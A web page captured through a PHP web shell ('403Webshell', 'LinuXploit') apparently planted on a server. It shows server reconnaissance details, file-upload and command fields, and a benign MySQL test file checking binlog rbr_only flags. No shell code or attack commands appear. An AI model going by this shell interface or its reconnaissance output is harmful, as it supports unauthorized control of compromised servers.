403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.70.142.54
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/binlog/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/binlog/t/binlog_gtid_rbr_only_flag.test
# ==== Purpose ====
#
# This test will generate many workloads and will assert that the rbr_only
# flags in binary log are "yes" only for transactions containing only RBR
# DML transactions.
#
# ==== Related Bugs and Worklogs ====
#
# BUG#25040331 INTERLEAVED XA TRANSACTIONS MAY DEADLOCK SLAVE APPLIER WITH
#              REPEATABLE READ
#

--source include/have_gtid.inc
# This test case requires MIXED binary log format
--source include/have_binlog_format_mixed.inc

# This DDL will not be evaluated by the assert
CREATE TABLE log (
  c1 INT AUTO_INCREMENT PRIMARY KEY,
  c2 TEXT,
  c3 INT NOT NULL DEFAULT 0);

RESET MASTER;
--let $server_uuid= `SELECT @@server_uuid`

--echo # 1 - Empty transaction
--replace_result $server_uuid SERVER_UUID
--eval SET GTID_NEXT='$server_uuid:1'
BEGIN;
COMMIT;
SET GTID_NEXT=AUTOMATIC;

# Empty XA transaction are not binary logged

--echo # 2 and 3 - XA SBR + XA COMMIT
XA START 'a';
INSERT INTO log (c2) VALUES ('XA COMMIT');
XA END 'a';
XA PREPARE 'a';
XA COMMIT 'a';

--echo # 4 and 5 - XA SBR + XA ROLLBACK
XA START 'b';
INSERT INTO log (c2) VALUES ('XA ROLLBACK');
XA END 'b';
XA PREPARE 'b';
XA ROLLBACK 'b';

--echo # 6 - Atomic DDL
CREATE TABLE t1 (c1 INT);

--echo # 7 - non-atomic DDL
CREATE TABLE t2 (c1 INT);

--echo # 8 - SBR only DML transaction
BEGIN;
INSERT INTO log (c2) VALUES ('SBR only DML transaction');
COMMIT;

--echo # 9 - SBR and RBR DML transaction
BEGIN;
INSERT INTO log (c2) VALUES ('SBR and RBR DML transaction');
INSERT INTO log (c2, c3) VALUES ('SBR and RBR DML transaction', RAND()*100);
COMMIT;

--echo # 10 - RBR only DML transaction
BEGIN;
INSERT INTO log (c2, c3) VALUES ('RBR only DML transaction', RAND()*100);
COMMIT;

--echo # 11 - RBR only DML transaction with SAVEPOINT
BEGIN;
INSERT INTO log (c2, c3) VALUES ('RBR only DML transaction with SAVEPOINT', RAND()*100);
SAVEPOINT `a`;
INSERT INTO log (c2, c3) VALUES ('RBR only DML transaction with SAVEPOINT', RAND()*100);
SAVEPOINT `b`;
INSERT INTO log (c2, c3) VALUES ('RBR only DML transaction with SAVEPOINT', RAND()*100);
COMMIT;

--echo # 12 - RBR only DML with rows query info
SET @@SESSION.binlog_rows_query_log_events = ON;
BEGIN;
INSERT INTO log (c2, c3) VALUES ('DML with rows query info', RAND()*100);
COMMIT;
SET @@SESSION.binlog_rows_query_log_events = OFF;

--let $binlog_file= query_get_value(SHOW MASTER STATUS, File, 1)
#                       1   2  3   4  5  6  7  8  9  10  11  12
--let $rbr_only_flags= no,yes,no,yes,no,no,no,no,no,yes,yes,yes
--source include/assert_rbr_only_flags.inc

# Cleanup
DROP TABLE t1, t2, log;

Youez - 2016 - github.com/yon3zu
LinuXploit